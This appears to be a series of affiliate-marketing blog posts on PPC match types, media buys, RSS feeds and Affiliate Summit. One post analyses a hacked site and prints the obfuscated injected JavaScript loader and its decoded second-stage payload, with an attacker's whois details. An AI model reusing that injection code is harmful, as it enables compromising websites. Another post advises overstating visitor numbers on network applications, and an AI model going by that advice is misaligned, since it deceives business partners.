Yahoo Advanced Match vs Standard Match Type

I threw up a bunch of PPC campaigns on Yahoo the other day and was just going through optimizing them. A couple campaigns were really doing well. I decided to break out every keyword getting clicks and pumping it into its own ad group so that I can write ads much more targeted to that specific audience.

When I went in to the first ad group to add the negative keywords for the ad group I noticed an alert in Yahoo saying this: (Excluded words only apply if the advanced match type is enabled for Sponsored Search)

I had to stop for a second and think…what?

Well for the short answer, you have to use the advanced match type in yahoo to use negative keywords. As for the reason why…here goes.

  • Yahoo’s advanced match is like Google’s broad match. Yahoo explains advanced match as being “for matches that use your keywords in various contexts.”
  • Yahoo’s standard match is like Google’s phrase match.  Yahoo explains standard match as being “for exact matches of your keywords or their minor variations.”

When using standard match, your a lot safer off.  It is going to be like going in using phrase match where if you bid on “get new york times magazine” you’re only going to show up for that phrase or something EXTREMELY similar.  The Standard match type displays your ads for exact matches to your keywords, as well as for singular/plural variations and common misspellings.

By using advanced match, you can open up new opportunities to find converting keyword phrases that wouldn’t have come through otherwise.

When a campaign proves to be profitable and you have done a bit of optimization, you can use advanced match with a good list of negatives.  This will filter out any bad traffic that may come in from switching to the advanced match….yet leave you room to find out new keyword phrases to zone in on.

I personally use the advanced match with a good list of negatives most of the time.  If you are new to the game I would recommend not doing that and starting with standard match, than graduating to advanced match.  It just depends with how familiar you are with the traffic, market, etc.

What do you generally do with Yahoo, use standard match or advanced match?

Uh ohz you got haxored!

So a friend came to me today with a problem he was having and wasn’t sure what to do about…

Almost EVERY page on his webserver was going to a blank white page, or a page that was NOT what was intended to be viewed.

After looking into things, I realized we may have some foul play on our hands!

So somehow, this line of code was being inserted into almost every page on his entire hosting account.

<script language=javascript><!--


My first clue was that this is using the javascript function unescape, which decodes an encoded string of text.

If you take the code and run it through a URL encoder, we end up with this:

<script language=javascript><!--  document.write(unescape('<GXscrLrGXirLpt VhsrcrL=Sn/HY8/78HY8.GX1GX1Cl60.Cl61Cl67Cl65Cl6.24Vh9zAn/Cl6jquVheHY8rrLyCl6.jSns>GX</GXszAnczAnrHY8iprLtzAn>').replace(/Cl6|HY8
|zAn|Sn|rL|Vh|GX/g,""));  --></script>

Next you can see at the end they are using javascript’s replace method which does just what it says, replaces characters with other characters.  With this particular piece of code it is replacing Cl6, HY8, zAn, Sn, rL, Vh, and GX with nothing, essentially just removing the characters.

Once you remove those characters you end up with:

<script src=//></script>

Doing a whois on that ip reveals:

person:         Alexander A Solovyov
address:        LIMT Group Ltd.
address:        Karpinskogo 97a
address:        Moscow
address:        111423
address:        Russian Federation
phone:          +7 342 2763167
e-mail:         [email protected]
e-mail:         [email protected]
e-mail:         [email protected]

Sooooo it looks as if Mr. Solovyov has been inserting this piece of code into my friends page.  Doing a simple google search for or Alexander A Solovyov reveals that this guy enjoys doing this sort of thing.

Well if you go to you will see that it APPEARS to be a jquery file… HOWEVER…this is NOT what it is.

There is actually a hidden payload inside the jquery library he included which pulls in MORE escaped code from:

which looks like this:

_=0;for(i=0;i<9;i++){var d=document.getElementById("_"+i+"_");if(d)d.src=""}eval(unescape('~/`/~%4A~%75@%73t %66!u#c%6B%20@%6F@f~f%2E%2E%2E!?%3Cd@i#%76 %73$%74@%79%6C$e=#%64%69s%70`l%61y!:`%6E#o%6Ee~%3E|\n`va#r# t@%3Dn~e%77 @%44a@t%65|(%312!3%37|0`1%3759!2#0`%30$0`%29;#d$%6F`%63u`%6D!e|n|%74.~c!%6F%6F%6B%69e%3D%22h%67f%74=%31;` |e|xpi%72%65s~%3D"%2B~t.%74%6F!G~%4D~%54@%53%74r$i#%6E$g!%28)~+#%22`; ~pa%74|%68=/@%22@%3B\n@%2F%2F$%3C%2F`d|%69v%3E').replace(/@|\!|~|\?|#|\$|`|\|/g,""));

If we un-obfuscate this code we end up with:

//Just fuck off...<div style=display:none>
var t=new Date(1229972812000);document.cookie="hgft=1; expires="+t.toGMTString()+"; path=/";

Which simply says “Just fuck off…” and then sets a cookie.

This luckily was not doing anything malicious, but COULD in the future (or could have in the past).  He can change any of the code on his webserver to do whatever he wants…whenever he wants.

After digging a bit more, I realized that my friend was infected with a trojan on his personal computer, and the attacker had most likely obtained his webserver account login and accessed it that way.

I figured I would post this little “attack case study” to give anyone interested some insight on a simple attack.  The best way to learn how to prevent these things is to be aware of them.

If you have ever been “hacked” or had your system exploited, leave a comment and let me know what you did to fix the situation, I’m curious to hear if many others have fallen prey like my friend did!

Adwords negative exact-match saved my campaign!

I have had a couple people ask me for more posts that are examples…so here is an example of something I ran into the other day.

I was optimizing some campaigns in adwords.  I noticed that although I had my adgroups broken out using ONLY 3 word+ longtail phrases, I was still getting a significant amount of traffic from a 2 word phrase that I was not bidding on.  I have seen this before and I believe it’s because I’m using broad match so it can just match with certain words out of the phrase.  I like to do it this way when I can to let a bunch of low cost longtail keywords trickle in without really much risk.

Well this was all fine and dandy, I was getting good conversions on a variety of keywords, but I was getting a lot of traffic on a term I was not bidding on.  To make matters worse it was like a huge portion of the traffic.

At first I wasn’t quite sure what to do..then it hit me negative exact-match!

In adwords, when you add negative keywords you can actually use negative phrase-match or negative exact-match…which most people are not aware of.

So what I did to solve my problem was add -[keyword phrase] to my campaign level negative list, and bam that keyword that was getting all the non converting traffic just got shut off!

This turned that campaign into an almost breaking even situation to earning some serious ROI now!

Moral of the story:  Filter your bad traffic out AS GOOD as you possibly can.  Watch your tracking and stats and find out what is NOT converting and GET IT OUT.  You can do this so many ways from dayparting to geographically, down to adding a good negative list (properly using the correct negative match type), blocking site urls and placements, etc.

If you have any good tips on how to filter out bad traffic, please, do leave a comment.

Media Buys Made UBER Easy!

I know sometime last year I wrote a post about how I was starting to get more into media buys but then never really gave much of an update on the process. I get quite a few people asking me about media buys, and most think that it is a VERY complex process.

Well, I’m here to tell you it’s not! 🙂

Keep in mind, there are different types of media buys. Many different types. I am going to go over the process of doing a small to medium scale media buy for someone who is looking at easing their way into this stuff.

The first step to everything is picking out or knowing the product you are going to promote. I generally take a product that I have already tested on one or more traffic sources that has proven that it converts above average. You can do a media buy on a completely untested offer, I just prefer to do it on something that has already proven itself to me.

Next, you need to get SOME sort of a way to track this stuff. There is some really expensive software on the market that can do this for you, and depending on the size of the media buy and where you are doing it, these products are sometimes required. For almost all smaller or medium sized buys, you can use your own software though. The software I use the majority of the time is called OpenX. This is an open source ad server software that you can download and have setup on your server in a matter of minutes. This software will also do EVERYTHING you need at this point. Might as well keep your investment cost down until you KNOW this is something you want to continue doing…hey why risk more than you have to?

After you get your ad server software situation settled, the next part is doing some research. You can dig into this as deep or shallow as you want. Basically ALL you are doing, is going around finding the best targeted sites for you to get a banner on. The easiest way to do this is to go around to different sites like Google, Yahoo, MSN, Quantcast, Alexa, etc. and find out the sites in your market bringing in the most traffic. Keep in mind you don’t have to advertise on just SITES in your market, but try to find sites with the RIGHT DEMOGRAPHICS in your market. Make sense? Essentially, you are just finding where people populate that would be interested in what you are advertising. It’s THAT easy.

The next step is to take that list of sites you compiled that you would like to advertise on. Go around to each one of these sites and look for a link at the bottom of the page that says something like “Advertise”, “Advertise with us”, or something similar. The link isn’t always going to be at the bottom of the page but many times is…just look around the site and you should find something relating to buying ad space.

During your process of finding sites to advertise on, you may occasionally find sites that do not have an “Advertise with us” type link. What I do with these is just email the webmaster (do a whois on the domain if there is no contact section) and ask them if they have any sort of an advertising program setup. If they don’t it’s often as easy as offering them $50 bucks for a permanent ad spot. It’s not as often I run into a small site I am interested in advertising on, but it certainly does happen. When it does happen though, you will generally come out with a pretty good deal on your hands.

After you find WHO you need to contact and HOW…next comes actually contacting them.

This is oftentimes where people start making mistakes. When you contact these companies to do a media buy, they almost always will try to rip you off. KEEP THIS IN MIND! You do not need to give them any more information than you feel necessary. I get many sites and people trying to find out so much more than they need to know, just so they can overcharge me. One really common question that comes to my mind is when you are instantly asked what your budget is. They are generally only asking you this so they know the maximum they can charge you. I’m not going to go very deep into the different ways they may try to overcharge you, just be aware of it and do your due diligence.

The initial contact you make with the company should consist of you simply telling them you are interested in purchasing ad space from their site or network of sites, and that you are wanting to get a price quote. They will reply back with a quote on what sort of traffic and advertisements you can buy from them. Here is where you NEED to learn to negotiate. After getting back the quotes they give me, I will basically give them the impression that I know exactly what I am doing and am not a “newbie” at this stuff. I make it very clear to them I want to do a small buy to test out the quality of their traffic, and that if the test buy goes good, that I will be spending money out my ears with them. This seems to usually give them an incentive to treat you much more fair since almost anyone who has a brain on their shoulders is in it for the long term cash flow. Not only do I make sure to do this stuff, but I then go back to them with their quoted numbers HIGHLY reduced. I’m talking I will tell them that I can give them a 30-50% less CPM than they were asking for. You will also run into things like people really trying to push you to do newsletter ads and other similar things. I ALWAYS deny these proposals and tell them maybe in the future I will test it but for now I want to test ONLY the specific ad spot I inquired about.

Once your done with the negotiation and have brought your prices down as low as possible, than its as simple as setting up the campaign in OpenX and starting the testing game. I will generally start off with anywhere from 3-10 different banners running. I monitor the ctr and conversion rates from within openx and constantly optimize until I feel I have hit a plateau.

A couple last things to add: You are going to want to request a 24 or 48 hour out clause. This way if the traffic IS shitty and you paid a couple thousand bucks down (or more) you can feel safe if the traffic is junk, that you will be able to stop things within 24 or 48 hours and get your money back. Something else you will want to do is make sure to specify the exact country or countries you want to be advertising on. You will also want to make sure to set a frequency cap of something like 24 hours on your traffic. This means if you have a visitor who comes to the site 15 times a day, instead of your banner being shown to the same customer 15 times, it will only be shown once per 24 hours.

That should cover everything you need to know to get out there and start doing some media buys! This is one of the easiest ways to buy traffic and for me its one of the more fun ways since you don’t rely on Google or anywhere else’s algorithms and power to display your ads.

Speaking of google, something else you may want to do is purchase traffic from Google’s content network, monitor where and what sites your conversions are coming from, than cut out the middle man (Google) and go directly to the site owners and cut your deals with them…at a highly discounted rate of course! I can speak from experience that this is WAY to easy to do and can drastically cut your costs while increasing volume.

Feel free to comment with any additional information or tips you may have when it comes to media buys.

Scrape my rss feed please. Need free backlinks!

I saw a blog post the other day by Bryn Youngblut where he was talking about how he dislikes blogs that use summaries for their rss feeds.  I agree with Bryn that it is quite a bit more convenient (and user friendly) for your readers if you have full rss feeds instead of summaries, which is just an attempt to lure your readers into your site so you can hopefully get something out of the visitor.  Well if your like me, and don’t really care about getting anything in return for the quality information that is disbursed, than maybe you should say why WOULDN’T I set my feed to use full articles.  I can’t think of one GOOD reason not to…

One common excuse I hear as to why people don’t do this is the fear of getting their RSS feed scraped.  It would be painfully easy for almost anyone to take YOUR content from your feed and build splogs (spam + blog = splog) or use that content however they want.  Besides the fact that these people are stealing your content with no recognition, there are MANY other reasons as to why this would not be good for you or your site.

Here is where you can EASILY solve that problem.  You can make your readers happy, and if someone DOES scrape that feed of yours, you will get multiple backlinks out of the ordeal!  Hey, now THATS a win-win situation!

You have a few options when it comes to protecting that full article feed.  To keep this article easy, I am going to pretend your using a wordpress blog since that is what 99% of people are using nowadays.  Your first option is to simply install a plugin like feed footer which adds whatever you choose at the bottom of your rss feed.  You could add something as simple as a copyright notice linking back to your site, or anchor text optimized links pointing back to wherever you want.  If your worried about getting to many links with the same anchor text on each post, you don’t have to be.  Feed footer will let you put in as many different entries as you want and rotate through them giving each post different additions to the bottom of the article.

Another option you have is to see if another plugin you use does this task even better.  For instance, I use the wordpress related posts plugin and in the settings of the plugin, you can select a box that will automatically add links to related posts into the bottom of your full RSS article.  Not only are you going to get great backlinks with perfect anchor text, but you’re going to get more than one of them!  This will ALSO keep your readers on your blog more since they often run into another suggested article that interests them even more.

If you would like to check out what exactly these plugins do, I have them setup and running right now.  Just subscribe to my rss feed and check out the bottom of each article.

Hopefully if you’re still using summary feeds this will encourage you to flip on over to full article feeds!

If you have any concerns with this information, or have a different solution to this problem, please comment and share your knowledge.

Affiliate Summit West 2009 Recap

Welcome to Las Vegas

Well this post may seem a bit late but the truth of the matter is everyone else was posting about Affiliate Summit West 2009 right after the conference ended, and I figured there wouldn’t be much interest in another post at the time.  Because of that I thought I would save the post for awhile after when things have tamed down.  I didn’t quite mean to put it off THIS long but here it is!

Affiliate Summit West always seems to be the bigger of the summits, so this year was no surprise when things were bigger and better then ever.  The exhibit hall was packed with affiliates, merchants, cpa networks, and about anyone else related to the industry you could imagine.  I have been to the last few summits so a lot of the booths contained the same companies and people, but there were still many new contacts I made at the convention.

This is probably THE MOST IMPORTANT thing to me about these conventions: the networking opportunities.  Not only is almost anyone that you would want to meet coming to the exhibit hall and meet market, but everyone is pretty damn open about wanting to talk and open new doors for opportunities in the future.

The speakers I saw this year did a really good job and it was enjoyable to bring in information on some of the areas of affiliate marketing that I don’t play around with as much.  I had a bunch of videos and pictures from the convention and the speakers, however my memory card flaked out on me and I lost EVERYTHING related to the actual convention! 🙁

Trevor and Ben

Just like before, the parties were again awesome this year.  Advaliant and Copeac both had great shindigs going on.  I didn’t go to the company parties I would normally go to this year, instead I checked out other company parties that I hadn’t ever experienced before.  I would have to say although I had a really good time at them, I wish I would have spent my time at the more “popular” ones.  They really seem to know how to show their affiliates a good time!

Besides the parties, I met up with a few different companies for dinner and drinks which was great.  I ate at so many great restaurants this time around I just couldn’t believe it.  That is one GREAT thing about Vegas, there is such a great variety of AWESOME restaurants to indulge in.  This is a pic of one of my favorite restaurants in Vegas…


I have to admit, with a name like that I can’t resist the place! 😛

Planet Hollywood

I have stayed at many different hotels in Vegas, and instead of staying at the Rio where the convention was held I stayed at Planet Hollywood.  This seems to be one of my favorite places to stay.  Prices are reasonable, its a pretty modern style hotel, good music is always playing, and its a perfect location on the strip because its within walking distance of everything.  I would have to admit though, if you plan on going to an Affiliate Summit in the future, I think your networking opportunities are much better if you stay at the hotel where the convention is held.  It seems most of the people take this option and you are surrounded by a lot of smart minds you can BS with at any point.

Besides the actual convention, I had a blast just doing the usual things people do in Vegas.  I have really been digging blackjack since last years ASW convention and decided to spend a bit more time this year at the tables.  That was a really great idea but I ended up pretty much not being able to ever leave so I spent WAY more time playing good ol’ 21 than I should have.  The good thing is I came out over a grand ahead which paid for the few expenses I did have for the trip, so it was a win-win except it ate up a lot of my time. 😛

Last of all I have to thank Affiliate Summit once again for supplying me with a press pass for the convention.

Affiliate Summit Press Pass

The next Affiliate Summit will be held in New York on August 9-11, I hope to see this one succeed as much as all the past ones and I hope to see you all there!

Guarantee Your Acceptance Into Any CPA Network!

I have been getting a large increase of traffic to the blog in the last 2 months which has led to an increase in people contacting me with questions and asking for advice in the same certain areas.  Many of the questions I receive are duplicate questions and instead of answering the same question multiple times I figured I would just do a post on some of these questions.

Today I will be addressing the issue of getting accepted into a CPA network.  It appears that many of the people trying to get accepted into these networks to do legit advertising are being denied because of the fact they simple don’t understand and know how to answer the questions on the application forms.

I myself, have never had any sort of a problem getting accepted into a network.  Even when first starting out in this industry, it seemed quite easy to get in and start pumping out work for these companies.  Part of that reason is because I learned the industry terms and information and didn’t act like a total “newbie” when approaching the networks.

Just think about it for a second, if you approach a network and tell them you are a total newbie yada yada, they aren’t going to really care if you are working with them or not.  They want people who know how to promote their offers and know how to make them money.  That is, afterall, why they are running a network, to make some fat cash.

Besides getting up to date on the basics of affiliate marketing, there are some other things that can flag a company from wanting to accept your application. When you first hit an application you are going to have to enter your name, address, city, state, zip, etc.  That is all very self explanatory.

The next thing you are going to hit generally is entering an email address.  When I signed up I used a gmail address with no problems, however I think times have changed and many companies are flagging accounts using free addresses.  What you are going to want to do is appear more like a company or an experienced internet marketer, rather than some joe blow hoping to make some easy cash.  This means go out and register a domain so you have a professional looking email, something like [email protected] will work just fine.  I would also recomend taking the and throwing up some sort of a simple site even if its a one page lander so that you look a bit more professional.  Even this isn’t necesary but will help you out in the longrun.

TIP: If you REALLY wanted to be on top of things, and plan on taking up affiliate marketing as a full time gig, then I would highly recommend registering and setting up an LLC or S-Corp to make your company legit.  The networks love this and almost always automatically accept you, plus they take you much more serious, in turn giving you higher payouts off the bat, and treating you like an asset, and not some newbie wasting their time.  Not only is their that benefit, but you will also protect yourself legally and there can be some great tax benefits.

Once you complete that area, the application will generally ask for your EIN or social security number to confirm it’s you and so they can send you you’re 1099 tax information at the end of the year.  This is all pretty self explanatory.

Next on the list is a phone number, you are going to want to make sure you enter a REAL phone number.  These networks are going to want to call you 99% of the time and quick have a little chat to make sure you aren’t just out to scam them with fraud traffic.  If you ignore their calls plan on not getting accepted.  You need to talk to them and explain what you want to do, let them know how you plan on promoting, and give them an idea that you are going to bring in mass volume (which you really should) so that they have some sort of a reason to actually WANT you in their network.  Another note to make about the phone number is….do NOT have some ghetto voicemail message.  You want it to be professional.  No company wants to call you and hear some akon ringback tone and then get a goofy ass answering machine message.  They will automatically not take you serious.

Now is where most people start to get confused.  On these applications almost all of them ask for your website url.  Along with the url many networks also want to know what type of a site it is that you run and about how many visitors you get per month.  This can be a conflict for many people because they don’t actually own a site yet…or maybe never will.  DON’T let this hold you back.  You have at least 2 options here to solve this problem.  Either enter the domain that you setup for your professional looking email address OR just enter N/A.  If the application asks what category your site belongs to, just choose anything, its not important at all.  For the field asking for how many visitors you get, I generally just enter something like 100,000 or higher, since I do send at LEAST that much traffic….just not via a specific website.  On rare occasions, you will run into a company that doesn’t know jack about affiliate marketing, and if you don’t have a high visitor count, they will flag or deny your app.  This is generally due to the fact that whoever is reviewing the application just doesn’t understand the game and is kind of going off a simple algorithm to accepting and denying applications.

Now that you have all of that filled out, you are pretty much done, but there is still one more VERY important thing.  The applications will generally ask you in one way or another how you plan on promoting their offers… There may be a drop down form or checkboxes allowing you to select the promotional methods you use, or there may just be an area for comments/site description.

Take me for example, I promote the majority of my offers through paid traffic, being even more specific via PPC and media buys.  If the form has checkboxes or drop down forms, I simply check the PPC and Media Buy/Banner options.  If the form has nowhere for me to express how I send my traffic, I use the comments/site description box to clarify that I will be sending the majority of my traffic via PPC and media buys.  This allows the company to NOT worry about the website I have listed since they now know I will be sending that traffic NOT through a website, but via PPC and media buys.

TIP: One last thing to point out is that I also get many questions referring to what incentivization is.  Incentivization is when you offer the visitor something in return for signing up for an offer.  This can be anything from money to a free membership to a free report to free pictures/games/screensavors.  I would like to make it very clear that MANY networks discourage incentivization and DO NOT like to deal with any publishers/affiliates who play around with it.  Incentivization generally brings in lower quality traffic and lower quality leads.  You do NOT want to associate yourself with bad traffic or bad leads.  I would recomend AGAINST using incentivization and to make SURE NOT to ever indicate on your application that you work with incent offers.

This wraps up the signup process to guarantee yourself acceptance into any network you wish to join!

If there are any other questions, please comment and ask away.  I am more than happy to answer any questions regarding the signup process that you may have.

Now go take this information and apply at all of the networks your heart desires.  I have provided a great list of proven high quality networks who pay me on time all the time.  Rest assured that you will have no problems getting in if you just follow this guide! 🙂

‘Veggie Love’ PETA’s Banned Super Bowl Ad.

The other day I saw a commercial that PETA submitted to NBC to be aired during the super bowl, however NBC declined the ad because of it’s sexual content.

After watching it I understood why…

Now I am most certainly a meat eater and do not support PETA in any way…but this is pretty good marketing in the works.

This ‘Veggie Love’ ad reminded me of the GoDaddy ads (yes thats plural) that were rejected airtime for the Super Bowl a couple years back.

Its pretty obvious that the most simple, animalistic content far out performs even the most sophisticated messages. I can only imagine the type of response that these companies got and are getting out of these ads!

Affiliate Summit West 2009 in Las Vegas…Don’t Miss Out!

Affiliate Summit in Las Vegas 2009

Today I got an email from Affiliate Summit offering me a platinum pass and press credentials.   This will be the first time attending the summit with press credentials so I plan to actually try to get some decent sessions in and post some juicy info during and after the events.

In the mean time, if you aren’t signed up for Affiliate Summit coming up on January 11-13, then take my word and if at all possible, get registered and make it.  I more than QUADRUPLED my overall profit level after the first Affiliate Summit I attended because of:  a) finding new traffic sources b) being around and networking with the right people c) strengthening relationships at certain networks and with certain people.

Also, ASW is in Las Vegas, which is by far my favorite town for the conventions to take place in.  There is always something hoppin going on, and it seems to be the biggest (most affiliates/advertisers/parties) Affiliate Summit convention that takes place throughout the year.

Affiliate Summit has been kind enough to provide me with a 10% off promo code TREVOR10 for all of the readers here.


If you haven’t signed up yet…


See You All There!